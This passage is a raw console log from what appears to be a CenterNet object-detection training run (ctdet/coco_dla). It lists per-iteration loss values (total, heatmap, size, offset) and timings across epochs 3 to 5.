|wh_loss 26.9995 |off_loss 0.2034 |Data 0.677s(0.675s) |Net 1.357s 0 1 1 1 2 ctdet/coco_dla| train: [3][7/61]|Tot: 0:00:10 |ETA: 0:00:00 |loss 6.4882 |hm_loss 3.5725 |wh_loss 27.2231 |off_loss 0.1934 |Data 0.677s(0.675s) |Net 1.356s 0 0 0 2 1 0 ctdet/coco_dla| train: [3][8/61]|Tot: 0:00:12 |ETA: 0:00:00 |loss 6.6504 |hm_loss 3.5862 |wh_loss 28.6044 |off_loss 0.2037 |Data 0.658s(0.673s) |Net 1.353s 1 2 3 0 1 1 1 ctdet/coco_dla| train: [3][9/61]|Tot: 0:00:13 |ETA: 0:00:00 |loss 6.6197 |hm_loss 3.5873 |wh_loss 28.3316 |off_loss 0.1993 |Data 0.643s(0.670s) |Net 1.350s 0 1 0 2 1 ctdet/coco_dla| train: [3][10/61]|Tot: 0:00:14 |ETA: 0:00:00 |loss 6.7300 |hm_loss 3.6024 |wh_loss 29.2875 |off_loss 0.1989 |Data 0.667s(0.670s) |Net 1.349s 0 0 0 1 0 2 1 1 1 ctdet/coco_dla| train: [3][11/61]|Tot: 0:00:16 |ETA: 0:00:00 |loss 6.6361 |hm_loss 3.5932 |wh_loss 28.4270 |off_loss 0.2002 |Data 0.652s(0.668s) |Net 1.347s 0 1 0 ctdet/coco_dla| train: [3][12/61]|Tot: 0:00:17 |ETA: 0:00:00 |loss 6.4216 |hm_loss 3.4858 |wh_loss 27.3952 |off_loss 0.1963 |Data 0.674s(0.669s) |Net 1.347s 0 0 0 0 1 0 ctdet/coco_dla| train: [3][13/61]|Tot: 0:00:18 |ETA: 0:00:00 |loss 6.2701 |hm_loss 3.4488 |wh_loss 26.2787 |off_loss 0.1934 |Data 0.664s(0.669s) |Net 1.346s 1 1 0 0 1 ctdet/coco_dla| train: [3][14/61]|Tot: 0:00:20 |ETA: 0:00:00 |loss 6.0733 |hm_loss 3.3534 |wh_loss 25.2980 |off_loss 0.1900 |Data 0.752s(0.674s) |Net 1.352s 0 0 0 0 0 ctdet/coco_dla| train: [3][15/61]|Tot: 0:00:21 |ETA: 0:00:00 |loss 6.0412 |hm_loss 3.3235 |wh_loss 25.3161 |off_loss 0.1860 |Data 0.663s(0.673s) |Net 1.353s 1 0 0 ctdet/coco_dla| train: [3][16/61]|Tot: 0:00:22 |ETA: 0:00:00 |loss 5.8801 |hm_loss 3.2567 |wh_loss 24.4195 |off_loss 0.1814 |Data 0.650s(0.672s) |Net 1.351s 1 1 1 ctdet/coco_dla| train: [3][17/61]|Tot: 0:00:24 |ETA: 0:00:00 |loss 5.7247 |hm_loss 3.1960 |wh_loss 23.5205 |off_loss 0.1767 |Data 0.676s(0.672s) |Net 1.351s 0 0 0 2 1 ctdet/coco_dla| train: [3][18/61]|Tot: 0:00:25 |ETA: 0:00:00 |loss 5.7960 |hm_loss 3.2218 |wh_loss 23.9667 |off_loss 0.1775 |Data 0.682s(0.673s) |Net 1.352s 1 2 1 1 0 ctdet/coco_dla| train: [3][19/61]|Tot: 0:00:27 |ETA: 0:00:00 |loss 5.8753 |hm_loss 3.2434 |wh_loss 24.5258 |off_loss 0.1793 |Data 0.673s(0.673s) |Net 1.352s 1 0 0 0 1 1 ctdet/coco_dla| train: [3][20/61]|Tot: 0:00:28 |ETA: 0:00:00 |loss 5.8035 |hm_loss 3.2246 |wh_loss 23.9906 |off_loss 0.1798 |Data 0.672s(0.673s) |Net 1.351s 0 1 0 2 1 ctdet/coco_dla| train: [3][21/61]|Tot: 0:00:29 |ETA: 0:00:00 |loss 5.7232 |hm_loss 3.1712 |wh_loss 23.7624 |off_loss 0.1758 |Data 0.674s(0.673s) |Net 1.351s 1 0 1 0 0 0 2 0 ctdet/coco_dla| train: [3][22/61]|Tot: 0:00:31 |ETA: 0:00:00 |loss 5.8565 |hm_loss 3.2224 |wh_loss 24.5494 |off_loss 0.1791 |Data 0.669s(0.673s) |Net 1.351s 0 1 0 1 0 0 ctdet/coco_dla| train: [3][23/61]|Tot: 0:00:32 |ETA: 0:00:00 |loss 5.7811 |hm_loss 3.1780 |wh_loss 24.2801 |off_loss 0.1752 |Data 0.724s(0.675s) |Net 1.353s 1 0 ctdet/coco_dla| train: [3][24/61]|Tot: 0:00:33 |ETA: 0:00:00 |loss 5.7177 |hm_loss 3.1393 |wh_loss 24.0611 |off_loss 0.1724 |Data 0.677s(0.675s) |Net 1.355s 0 ctdet/coco_dla| train: [3][25/61]|Tot: 0:00:35 |ETA: 0:00:00 |loss 5.5623 |hm_loss 3.0753 |wh_loss 23.2012 |off_loss 0.1669 |Data 0.658s(0.674s) |Net 1.354s 1 1 ctdet/coco_dla| train: [3][26/61]|Tot: 0:00:36 |ETA: 0:00:00 |loss 5.4950 |hm_loss 3.0426 |wh_loss 22.8811 |off_loss 0.1642 |Data 0.663s(0.674s) |Net 1.353s 1 0 0 0 1 ctdet/coco_dla| train: [3][27/61]|Tot: 0:00:37 |ETA: 0:00:00 |loss 5.5746 |hm_loss 3.0655 |wh_loss 23.4095 |off_loss 0.1681 |Data 0.663s(0.673s) |Net 1.353s 0 0 1 2 1 1 ctdet/coco_dla| train: [3][28/61]|Tot: 0:00:39 |ETA: 0:00:00 |loss 5.5657 |hm_loss 3.0843 |wh_loss 23.1250 |off_loss 0.1689 |Data 0.666s(0.673s) |Net 1.352s 0 ctdet/coco_dla| train: [3][29/61]|Tot: 0:00:40 |ETA: 0:00:00 |loss 5.4383 |hm_loss 3.0292 |wh_loss 22.4576 |off_loss 0.1633 |Data 0.658s(0.673s) |Net 1.351s 1 0 0 0 ctdet/coco_dla| train: [3][30/61]|Tot: 0:00:41 |ETA: 0:00:00 |loss 5.4429 |hm_loss 3.0261 |wh_loss 22.5363 |off_loss 0.1632 |Data 0.667s(0.672s) |Net 1.351s 2 0 3 0 0 0 ctdet/coco_dla| train: [3][31/61]|Tot: 0:00:43 |ETA: 0:00:00 |loss 5.3660 |hm_loss 2.9947 |wh_loss 22.0964 |off_loss 0.1616 |Data 0.687s(0.673s) |Net 1.351s 2 0 0 2 3 1 0 ctdet/coco_dla| train: [3][32/61]|Tot: 0:00:44 |ETA: 0:00:00 |loss 5.4626 |hm_loss 3.0349 |wh_loss 22.6076 |off_loss 0.1669 |Data 0.830s(0.678s) |Net 1.356s 0 1 1 1 2 0 0 2 0 ctdet/coco_dla| train: [3][33/61]|Tot: 0:00:46 |ETA: 0:00:00 |loss 5.4907 |hm_loss 3.0695 |wh_loss 22.5190 |off_loss 0.1693 |Data 0.659s(0.677s) |Net 1.357s 0 1 0 0 1 0 0 ctdet/coco_dla| train: [3][34/61]|Tot: 0:00:47 |ETA: 0:00:00 |loss 5.5028 |hm_loss 3.0811 |wh_loss 22.4891 |off_loss 0.1727 |Data 0.759s(0.680s) |Net 1.360s 0 1 3 0 1 ctdet/coco_dla| train: [3][35/61]|Tot: 0:00:48 |ETA: 0:00:00 |loss 5.4851 |hm_loss 3.0732 |wh_loss 22.3997 |off_loss 0.1720 |Data 0.669s(0.679s) |Net 1.359s 0 0 1 0 ctdet/coco_dla| train: [3][36/61]|Tot: 0:00:50 |ETA: 0:00:00 |loss 5.5324 |hm_loss 3.0882 |wh_loss 22.6602 |off_loss 0.1782 |Data 0.670s(0.679s) |Net 1.359s 1 0 0 0 1 ctdet/coco_dla| train: [3][37/61]|Tot: 0:00:51 |ETA: 0:00:00 |loss 5.5348 |hm_loss 3.1012 |wh_loss 22.5559 |off_loss 0.1780 |Data 0.691s(0.679s) |Net 1.359s 2 2 0 1 0 0 ctdet/coco_dla| train: [3][38/61]|Tot: 0:00:52 |ETA: 0:00:00 |loss 5.5180 |hm_loss 3.0950 |wh_loss 22.4418 |off_loss 0.1788 |Data 0.687s(0.680s) |Net 1.359s 1 0 1 0 0 0 ctdet/coco_dla| train: [3][39/61]|Tot: 0:00:54 |ETA: 0:00:00 |loss 5.5360 |hm_loss 3.1070 |wh_loss 22.4937 |off_loss 0.1796 |Data 0.659s(0.679s) |Net 1.358s 0 1 0 2 ctdet/coco_dla| train: [3][40/61]|Tot: 0:00:55 |ETA: 0:00:00 |loss 5.5017 |hm_loss 3.1000 |wh_loss 22.2214 |off_loss 0.1796 |Data 0.626s(0.678s) |Net 1.357s 1 1 ctdet/coco_dla| train: [3][41/61]|Tot: 0:00:56 |ETA: 0:00:00 |loss 5.4145 |hm_loss 3.0571 |wh_loss 21.8085 |off_loss 0.1765 |Data 0.635s(0.677s) |Net 1.356s 0 2 2 0 1 2 ctdet/coco_dla| train: [3][42/61]|Tot: 0:00:58 |ETA: 0:00:00 |loss 5.4215 |hm_loss 3.0675 |wh_loss 21.7706 |off_loss 0.1769 |Data 0.672s(0.677s) |Net 1.357s 0 3 0 0 ctdet/coco_dla| train: [3][43/61]|Tot: 0:00:59 |ETA: 0:00:00 |loss 5.4403 |hm_loss 3.0811 |wh_loss 21.8130 |off_loss 0.1779 |Data 0.645s(0.676s) |Net 1.356s 1 1 0 0 1 3 0 ctdet/coco_dla| train: [3][44/61]|Tot: 0:01:01 |ETA: 0:00:00 |loss 5.4327 |hm_loss 3.0714 |wh_loss 21.8404 |off_loss 0.1773 |Data 0.677s(0.676s) |Net 1.356s 0 1 0 2 ctdet/coco_dla| train: [3][45/61]|Tot: 0:01:02 |ETA: 0:00:00 |loss 5.3777 |hm_loss 3.0478 |wh_loss 21.5371 |off_loss 0.1761 |Data 0.658s(0.675s) |Net 1.355s 0 1 ctdet/coco_dla| train: [3][46/61]|Tot: 0:01:03 |ETA: 0:00:00 |loss 5.3031 |hm_loss 3.0101 |wh_loss 21.1932 |off_loss 0.1737 |Data 0.668s(0.675s) |Net 1.355s 0 0 1 1 0 ctdet/coco_dla| train: [3][47/61]|Tot: 0:01:05 |ETA: 0:00:00 |loss 5.3141 |hm_loss 3.0213 |wh_loss 21.1873 |off_loss 0.1741 |Data 0.657s(0.675s) |Net 1.354s 1 0 ctdet/coco_dla| train: [3][48/61]|Tot: 0:01:06 |ETA: 0:00:00 |loss 5.3002 |hm_loss 3.0029 |wh_loss 21.2473 |off_loss 0.1726 |Data 0.785s(0.677s) |Net 1.357s 0 0 0 1 0 0 ctdet/coco_dla| train: [3][49/61]|Tot: 0:01:07 |ETA: 0:00:00 |loss 5.3190 |hm_loss 3.0151 |wh_loss 21.2988 |off_loss 0.1741 |Data 0.671s(0.677s) |Net 1.357s 0 0 0 1 0 0 1 ctdet/coco_dla| train: [3][50/61]|Tot: 0:01:09 |ETA: 0:00:00 |loss 5.3472 |hm_loss 3.0257 |wh_loss 21.4699 |off_loss 0.1745 |Data 0.673s(0.677s) |Net 1.356s 0 1 1 1 1 0 ctdet/coco_dla| train: [3][51/61]|Tot: 0:01:10 |ETA: 0:00:00 |loss 5.3326 |hm_loss 3.0204 |wh_loss 21.3796 |off_loss 0.1742 |Data 0.666s(0.677s) |Net 1.357s 0 0 2 1 1 0 2 ctdet/coco_dla| train: [3][52/61]|Tot: 0:01:11 |ETA: 0:00:00 |loss 5.3411 |hm_loss 3.0298 |wh_loss 21.3630 |off_loss 0.1750 |Data 0.659s(0.676s) |Net 1.357s 0 1 1 0 1 ctdet/coco_dla| train: [3][53/61]|Tot: 0:01:13 |ETA: 0:00:00 |loss 5.3236 |hm_loss 3.0246 |wh_loss 21.2502 |off_loss 0.1740 |Data 0.660s(0.676s) |Net 1.356s 0 1 ctdet/coco_dla| train: [3][54/61]|Tot: 0:01:14 |ETA: 0:00:00 |loss 5.2786 |hm_loss 3.0075 |wh_loss 20.9885 |off_loss 0.1723 |Data 0.663s(0.676s) |Net 1.356s 2 1 2 0 1 0 3 ctdet/coco_dla| train: [3][55/61]|Tot: 0:01:15 |ETA: 0:00:00 |loss 5.2588 |hm_loss 3.0012 |wh_loss 20.8595 |off_loss 0.1717 |Data 0.676s(0.676s) |Net 1.356s 0 1 1 2 0 1 ctdet/coco_dla| train: [3][56/61]|Tot: 0:01:17 |ETA: 0:00:00 |loss 5.2544 |hm_loss 2.9971 |wh_loss 20.8538 |off_loss 0.1719 |Data 0.658s(0.676s) |Net 1.356s 2 0 2 0 ctdet/coco_dla| train: [3][57/61]|Tot: 0:01:18 |ETA: 0:00:00 |loss 5.1973 |hm_loss 2.9664 |wh_loss 20.6099 |off_loss 0.1699 |Data 0.674s(0.676s) |Net 1.356s 0 0 0 0 2 1 ctdet/coco_dla| train: [3][58/61]|Tot: 0:01:20 |ETA: 0:00:00 |loss 5.1977 |hm_loss 2.9629 |wh_loss 20.6504 |off_loss 0.1698 |Data 0.703s(0.676s) |Net 1.356s 0 0 2 0 2 ctdet/coco_dla| train: [3][59/61]|Tot: 0:01:21 |ETA: 0:00:00 |loss 5.2520 |hm_loss 2.9866 |wh_loss 20.9399 |off_loss 0.1714 |Data 0.669s(0.676s) |Net 1.356s 1 3 0 0 ctdet/coco_dla| train: [3][60/61]|Tot: 0:01:22 |ETA: 0:00:00 |loss 5.2448 |hm_loss 2.9847 |wh_loss 20.8921 |off_loss 0.1708 |Data 0.701s(0.676s) |Net 1.357s 0 0 0 0 2 ctdet/coco_dla| train: [4][0/61]|Tot: 0:00:01 |ETA: 0:00:00 |loss 6.8391 |hm_loss 3.5569 |wh_loss 30.5758 |off_loss 0.2246 |Data 0.654s(0.654s) |Net 1.328s 1 2 0 0 1 1 0 ctdet/coco_dla| train: [4][1/61]|Tot: 0:00:02 |ETA: 0:00:00 |loss 5.8781 |hm_loss 3.5141 |wh_loss 21.3636 |off_loss 0.2276 |Data 0.644s(0.649s) |Net 1.322s 0 1 ctdet/coco_dla| train: [4][2/61]|Tot: 0:00:04 |ETA: 0:00:00 |loss 5.0385 |hm_loss 3.0320 |wh_loss 18.1421 |off_loss 0.1923 |Data 0.685s(0.661s) |Net 1.335s 1 0 2 2 2 ctdet/coco_dla| train: [4][3/61]|Tot: 0:00:05 |ETA: 0:00:00 |loss 4.8915 |hm_loss 2.9558 |wh_loss 17.5188 |off_loss 0.1838 |Data 0.739s(0.681s) |Net 1.354s 1 0 0 1 ctdet/coco_dla| train: [4][4/61]|Tot: 0:00:06 |ETA: 0:00:00 |loss 4.5493 |hm_loss 2.7538 |wh_loss 16.2880 |off_loss 0.1667 |Data 0.717s(0.688s) |Net 1.362s 2 2 0 0 1 ctdet/coco_dla| train: [4][5/61]|Tot: 0:00:08 |ETA: 0:00:00 |loss 4.7698 |hm_loss 2.8832 |wh_loss 17.1313 |off_loss 0.1735 |Data 0.664s(0.684s) |Net 1.358s 0 0 3 0 0 ctdet/coco_dla| train: [4][6/61]|Tot: 0:00:09 |ETA: 0:00:00 |loss 4.7892 |hm_loss 2.8584 |wh_loss 17.5785 |off_loss 0.1730 |Data 0.633s(0.677s) |Net 1.351s 1 0 1 0 0 1 0 0 ctdet/coco_dla| train: [4][7/61]|Tot: 0:00:10 |ETA: 0:00:00 |loss 4.9306 |hm_loss 2.9295 |wh_loss 18.2066 |off_loss 0.1804 |Data 0.701s(0.680s) |Net 1.359s 1 2 0 0 ctdet/coco_dla| train: [4][8/61]|Tot: 0:00:12 |ETA: 0:00:00 |loss 4.9367 |hm_loss 2.9106 |wh_loss 18.4361 |off_loss 0.1825 |Data 0.678s(0.680s) |Net 1.359s 1 0 0 1 1 ctdet/coco_dla| train: [4][9/61]|Tot: 0:00:13 |ETA: 0:00:00 |loss 4.9380 |hm_loss 2.9775 |wh_loss 17.7603 |off_loss 0.1845 |Data 0.734s(0.685s) |Net 1.364s 1 1 1 ctdet/coco_dla| train: [4][10/61]|Tot: 0:00:15 |ETA: 0:00:00 |loss 4.8249 |hm_loss 2.8878 |wh_loss 17.5894 |off_loss 0.1781 |Data 0.686s(0.685s) |Net 1.364s 2 1 1 0 0 1 3 1 1 0 ctdet/coco_dla| train: [4][11/61]|Tot: 0:00:16 |ETA: 0:00:00 |loss 4.7881 |hm_loss 2.8589 |wh_loss 17.5415 |off_loss 0.1751 |Data 0.694s(0.686s) |Net 1.364s 0 0 ctdet/coco_dla| train: [4][12/61]|Tot: 0:00:17 |ETA: 0:00:00 |loss 4.7006 |hm_loss 2.8004 |wh_loss 17.3104 |off_loss 0.1691 |Data 0.698s(0.687s) |Net 1.365s 1 1 0 1 1 0 0 0 0 ctdet/coco_dla| train: [4][13/61]|Tot: 0:00:19 |ETA: 0:00:00 |loss 4.8060 |hm_loss 2.8431 |wh_loss 17.9371 |off_loss 0.1692 |Data 0.687s(0.687s) |Net 1.365s 1 ctdet/coco_dla| train: [4][14/61]|Tot: 0:00:20 |ETA: 0:00:00 |loss 4.5913 |hm_loss 2.7391 |wh_loss 16.9356 |off_loss 0.1586 |Data 0.694s(0.687s) |Net 1.365s 0 0 0 2 2 3 ctdet/coco_dla| train: [4][15/61]|Tot: 0:00:21 |ETA: 0:00:00 |loss 4.6717 |hm_loss 2.7872 |wh_loss 17.2070 |off_loss 0.1639 |Data 0.686s(0.687s) |Net 1.365s 0 0 1 0 1 1 ctdet/coco_dla| train: [4][16/61]|Tot: 0:00:23 |ETA: 0:00:00 |loss 4.7666 |hm_loss 2.8281 |wh_loss 17.7448 |off_loss 0.1640 |Data 0.694s(0.688s) |Net 1.368s 0 1 ctdet/coco_dla| train: [4][17/61]|Tot: 0:00:24 |ETA: 0:00:00 |loss 4.6937 |hm_loss 2.7840 |wh_loss 17.5051 |off_loss 0.1592 |Data 0.682s(0.687s) |Net 1.367s 1 0 2 3 0 0 ctdet/coco_dla| train: [4][18/61]|Tot: 0:00:25 |ETA: 0:00:00 |loss 4.6557 |hm_loss 2.7804 |wh_loss 17.1700 |off_loss 0.1583 |Data 0.686s(0.687s) |Net 1.367s 1 1 2 0 1 ctdet/coco_dla| train: [4][19/61]|Tot: 0:00:27 |ETA: 0:00:00 |loss 4.6864 |hm_loss 2.7766 |wh_loss 17.5303 |off_loss 0.1568 |Data 0.728s(0.689s) |Net 1.368s 0 1 2 ctdet/coco_dla| train: [4][20/61]|Tot: 0:00:28 |ETA: 0:00:00 |loss 4.6533 |hm_loss 2.7814 |wh_loss 17.1836 |off_loss 0.1536 |Data 0.689s(0.689s) |Net 1.368s 1 1 0 0 2 ctdet/coco_dla| train: [4][21/61]|Tot: 0:00:30 |ETA: 0:00:00 |loss 4.6199 |hm_loss 2.7762 |wh_loss 16.9230 |off_loss 0.1514 |Data 0.679s(0.689s) |Net 1.368s 0 1 1 0 2 ctdet/coco_dla| train: [4][22/61]|Tot: 0:00:31 |ETA: 0:00:00 |loss 4.5436 |hm_loss 2.7405 |wh_loss 16.5332 |off_loss 0.1498 |Data 0.699s(0.689s) |Net 1.368s 2 1 ctdet/coco_dla| train: [4][23/61]|Tot: 0:00:32 |ETA: 0:00:00 |loss 4.4846 |hm_loss 2.7148 |wh_loss 16.2267 |off_loss 0.1471 |Data 0.684s(0.689s) |Net 1.368s 0 1 1 0 2 1 1 0 ctdet/coco_dla| train: [4][24/61]|Tot: 0:00:34 |ETA: 0:00:00 |loss 4.5460 |hm_loss 2.7403 |wh_loss 16.5785 |off_loss 0.1478 |Data 0.697s(0.689s) |Net 1.368s 0 0 1 1 0 ctdet/coco_dla| train: [4][25/61]|Tot: 0:00:35 |ETA: 0:00:00 |loss 4.5998 |hm_loss 2.7695 |wh_loss 16.7973 |off_loss 0.1506 |Data 0.693s(0.689s) |Net 1.369s 0 1 ctdet/coco_dla| train: [4][26/61]|Tot: 0:00:36 |ETA: 0:00:00 |loss 4.5035 |hm_loss 2.7115 |wh_loss 16.4486 |off_loss 0.1472 |Data 0.684s(0.689s) |Net 1.369s 0 0 0 0 0 2 ctdet/coco_dla| train: [4][27/61]|Tot: 0:00:38 |ETA: 0:00:00 |loss 4.5594 |hm_loss 2.7367 |wh_loss 16.7351 |off_loss 0.1491 |Data 0.705s(0.690s) |Net 1.370s 0 1 0 1 2 1 0 0 1 ctdet/coco_dla| train: [4][28/61]|Tot: 0:00:39 |ETA: 0:00:00 |loss 4.6520 |hm_loss 2.7863 |wh_loss 17.1235 |off_loss 0.1533 |Data 0.699s(0.690s) |Net 1.370s 0 0 0 1 0 0 0 ctdet/coco_dla| train: [4][29/61]|Tot: 0:00:41 |ETA: 0:00:00 |loss 4.7060 |hm_loss 2.8055 |wh_loss 17.4476 |off_loss 0.1558 |Data 0.690s(0.690s) |Net 1.369s 3 0 2 2 ctdet/coco_dla| train: [4][30/61]|Tot: 0:00:42 |ETA: 0:00:00 |loss 4.6545 |hm_loss 2.7777 |wh_loss 17.2332 |off_loss 0.1535 |Data 0.700s(0.690s) |Net 1.370s 0 2 1 1 0 1 ctdet/coco_dla| train: [4][31/61]|Tot: 0:00:43 |ETA: 0:00:00 |loss 4.6660 |hm_loss 2.8007 |wh_loss 17.0931 |off_loss 0.1560 |Data 0.736s(0.692s) |Net 1.371s 2 0 0 ctdet/coco_dla| train: [4][32/61]|Tot: 0:00:45 |ETA: 0:00:00 |loss 4.5836 |hm_loss 2.7523 |wh_loss 16.7896 |off_loss 0.1524 |Data 0.693s(0.692s) |Net 1.371s 1 1 ctdet/coco_dla| train: [4][33/61]|Tot: 0:00:46 |ETA: 0:00:00 |loss 4.5688 |hm_loss 2.7329 |wh_loss 16.8574 |off_loss 0.1501 |Data 0.691s(0.692s) |Net 1.371s 0 0 ctdet/coco_dla| train: [4][34/61]|Tot: 0:00:48 |ETA: 0:00:00 |loss 4.4943 |hm_loss 2.6883 |wh_loss 16.5859 |off_loss 0.1475 |Data 0.741s(0.693s) |Net 1.373s 2 0 ctdet/coco_dla| train: [4][35/61]|Tot: 0:00:49 |ETA: 0:00:00 |loss 4.4538 |hm_loss 2.6679 |wh_loss 16.3926 |off_loss 0.1467 |Data 0.686s(0.693s) |Net 1.373s 1 1 0 ctdet/coco_dla| train: [4][36/61]|Tot: 0:00:50 |ETA: 0:00:00 |loss 4.4481 |hm_loss 2.6717 |wh_loss 16.2840 |off_loss 0.1480 |Data 0.695s(0.693s) |Net 1.373s 1 0 1 0 2 2 1 0 1 0 ctdet/coco_dla| train: [4][37/61]|Tot: 0:00:52 |ETA: 0:00:00 |loss 4.4559 |hm_loss 2.6882 |wh_loss 16.1834 |off_loss 0.1493 |Data 0.687s(0.693s) |Net 1.373s 0 0 2 2 2 0 0 ctdet/coco_dla| train: [4][38/61]|Tot: 0:00:53 |ETA: 0:00:00 |loss 4.4517 |hm_loss 2.6887 |wh_loss 16.1300 |off_loss 0.1500 |Data 0.681s(0.693s) |Net 1.372s 0 1 ctdet/coco_dla| train: [4][39/61]|Tot: 0:00:54 |ETA: 0:00:00 |loss 4.3815 |hm_loss 2.6516 |wh_loss 15.8260 |off_loss 0.1473 |Data 0.686s(0.692s) |Net 1.372s 0 0 0 ctdet/coco_dla| train: [4][40/61]|Tot: 0:00:56 |ETA: 0:00:00 |loss 4.3806 |hm_loss 2.6542 |wh_loss 15.7903 |off_loss 0.1473 |Data 0.735s(0.694s) |Net 1.373s 0 0 0 1 1 0 ctdet/coco_dla| train: [4][41/61]|Tot: 0:00:57 |ETA: 0:00:00 |loss 4.3622 |hm_loss 2.6534 |wh_loss 15.6104 |off_loss 0.1478 |Data 0.684s(0.693s) |Net 1.372s 1 2 0 0 0 0 ctdet/coco_dla| train: [4][42/61]|Tot: 0:00:59 |ETA: 0:00:00 |loss 4.4118 |hm_loss 2.6687 |wh_loss 15.9339 |off_loss 0.1497 |Data 0.693s(0.693s) |Net 1.372s 2 0 0 1 ctdet/coco_dla| train: [4][43/61]|Tot: 0:01:00 |ETA: 0:00:00 |loss 4.3941 |hm_loss 2.6686 |wh_loss 15.7519 |off_loss 0.1503 |Data 0.675s(0.693s) |Net 1.372s 1 0 0 ctdet/coco_dla| train: [4][44/61]|Tot: 0:01:01 |ETA: 0:00:00 |loss 4.3854 |hm_loss 2.6705 |wh_loss 15.6405 |off_loss 0.1508 |Data 0.697s(0.693s) |Net 1.372s 2 2 0 0 ctdet/coco_dla| train: [4][45/61]|Tot: 0:01:03 |ETA: 0:00:00 |loss 4.4322 |hm_loss 2.6893 |wh_loss 15.8975 |off_loss 0.1531 |Data 0.695s(0.693s) |Net 1.372s ctdet/coco_dla| train: [4][46/61]|Tot: 0:01:04 |ETA: 0:00:00 |loss 4.3483 |hm_loss 2.6425 |wh_loss 15.5593 |off_loss 0.1499 |Data 0.690s(0.693s) |Net 1.372s 0 0 0 1 1 1 0 ctdet/coco_dla| train: [4][47/61]|Tot: 0:01:05 |ETA: 0:00:00 |loss 4.3374 |hm_loss 2.6422 |wh_loss 15.4524 |off_loss 0.1499 |Data 0.674s(0.693s) |Net 1.371s 0 3 1 1 2 0 ctdet/coco_dla| train: [4][48/61]|Tot: 0:01:07 |ETA: 0:00:00 |loss 4.3623 |hm_loss 2.6564 |wh_loss 15.5479 |off_loss 0.1511 |Data 0.696s(0.693s) |Net 1.371s 0 0 0 1 0 1 0 0 2 ctdet/coco_dla| train: [4][49/61]|Tot: 0:01:08 |ETA: 0:00:00 |loss 4.3505 |hm_loss 2.6558 |wh_loss 15.4359 |off_loss 0.1511 |Data 0.686s(0.693s) |Net 1.371s 2 0 0 0 ctdet/coco_dla| train: [4][50/61]|Tot: 0:01:09 |ETA: 0:00:00 |loss 4.3875 |hm_loss 2.6727 |wh_loss 15.6186 |off_loss 0.1530 |Data 0.689s(0.692s) |Net 1.371s 0 1 1 ctdet/coco_dla| train: [4][51/61]|Tot: 0:01:11 |ETA: 0:00:00 |loss 4.3560 |hm_loss 2.6596 |wh_loss 15.4423 |off_loss 0.1521 |Data 0.685s(0.692s) |Net 1.372s 0 1 1 0 0 0 0 0 1 ctdet/coco_dla| train: [4][52/61]|Tot: 0:01:12 |ETA: 0:00:00 |loss 4.3716 |hm_loss 2.6732 |wh_loss 15.4435 |off_loss 0.1541 |Data 0.728s(0.693s) |Net 1.372s 0 1 1 0 ctdet/coco_dla| train: [4][53/61]|Tot: 0:01:14 |ETA: 0:00:00 |loss 4.3641 |hm_loss 2.6754 |wh_loss 15.3470 |off_loss 0.1540 |Data 0.681s(0.693s) |Net 1.372s 0 2 0 0 3 2 ctdet/coco_dla| train: [4][54/61]|Tot: 0:01:15 |ETA: 0:00:00 |loss 4.4076 |hm_loss 2.7065 |wh_loss 15.4402 |off_loss 0.1571 |Data 0.685s(0.693s) |Net 1.372s 1 1 1 0 1 ctdet/coco_dla| train: [4][55/61]|Tot: 0:01:16 |ETA: 0:00:00 |loss 4.4201 |hm_loss 2.7056 |wh_loss 15.5608 |off_loss 0.1584 |Data 0.675s(0.692s) |Net 1.371s 1 0 1 1 1 2 ctdet/coco_dla| train: [4][56/61]|Tot: 0:01:18 |ETA: 0:00:00 |loss 4.4403 |hm_loss 2.7189 |wh_loss 15.6205 |off_loss 0.1593 |Data 0.680s(0.692s) |Net 1.371s 3 2 1 0 ctdet/coco_dla| train: [4][57/61]|Tot: 0:01:19 |ETA: 0:00:00 |loss 4.4279 |hm_loss 2.7178 |wh_loss 15.5112 |off_loss 0.1590 |Data 0.688s(0.692s) |Net 1.371s 0 0 1 0 1 ctdet/coco_dla| train: [4][58/61]|Tot: 0:01:20 |ETA: 0:00:00 |loss 4.4614 |hm_loss 2.7296 |wh_loss 15.7163 |off_loss 0.1602 |Data 0.697s(0.692s) |Net 1.371s 0 1 2 0 ctdet/coco_dla| train: [4][59/61]|Tot: 0:01:22 |ETA: 0:00:00 |loss 4.4774 |hm_loss 2.7436 |wh_loss 15.7253 |off_loss 0.1613 |Data 0.694s(0.692s) |Net 1.371s 1 0 1 1 ctdet/coco_dla| train: [4][60/61]|Tot: 0:01:23 |ETA: 0:00:00 |loss 4.4840 |hm_loss 2.7420 |wh_loss 15.8181 |off_loss 0.1601 |Data 0.688s(0.692s) |Net 1.372s 2 1 0 1 ctdet/coco_dla| train: [5][0/61]|Tot: 0:00:01 |ETA: 0:00:00 |loss 6.2810 |hm_loss 3.4552 |wh_loss 26.6255 |off_loss 0.1633 |Data 0.691s(0.691s) |Net 1.400s 2 1 0 0 1 ctdet/coco_dla| train: [5][1/61]|Tot: 0:00:02 |ETA: 0:00:00 |loss 4.6292 |hm_loss 2.6923 |wh_loss 18.0613 |off_loss 0.1308 |Data 0.686s(0.689s) |Net 1.382s 0 0 0 1 0 1 1 1 0 ctdet/coco_dla| train: [5][2/61]|Tot: 0:00:04 |ETA: 0:00:00 |loss 5.0069 |hm_loss 2.8899 |wh_loss 19.5087 |off_loss 0.1661 |Data 0.689s(0.689s) |Net 1.377s 1 0 0 0 0 ctdet/coco_dla| train: [5][3/61]|Tot: 0:00:05 |ETA: 0:00:00 |loss 5.1853 |hm_loss 3.0480 |wh_loss 19.5032 |off_loss 0.1870 |Data 0.667s(0.683s) |Net 1.369s 0 1 0 1 1 ctdet/coco_dla| train: [5][4/61]|Tot: 0:00:06 |ETA: 0:00:00 |loss 5.0112 |hm_loss 2.9411 |wh_loss 18.8552 |off_loss 0.1846 |Data 0.684s(0.683s) |Net 1.367s 1 0 0 2 2 1 0 ctdet/coco_dla| train: [5][5/61]|Tot: 0:00:08 |ETA: 0:00:00 |loss 4.7808 |hm_loss 2.8660 |wh_loss 17.3692 |off_loss 0.1778 |Data 0.664s(0.680s) |Net 1.361s 0 0 2 ctdet/coco_dla| train: [5][6/61]|Tot: 0:00:09 |ETA: 0:00:00 |loss 4.4994 |hm_loss 2.7323 |wh_loss 15.9489 |off_loss 0.1722 |Data 0.677s(0.680s) |Net 1.359s 2 1 0 0 2 ctdet/coco_dla| train: [5][7/61]|Tot: 0:00:10 |ETA: 0:00:00 |loss 4.2881 |hm_loss 2.6240 |wh_loss 15.0307 |off_loss 0.1611 |Data 0.677s(0.679s) |Net 1.358s 0 2 1 1 ctdet/coco_dla| train: [5][8/61]|Tot: 0:00:12 |ETA: 0:00:00 |loss 4.1517 |hm_loss 2.5500 |wh_loss 14.4800 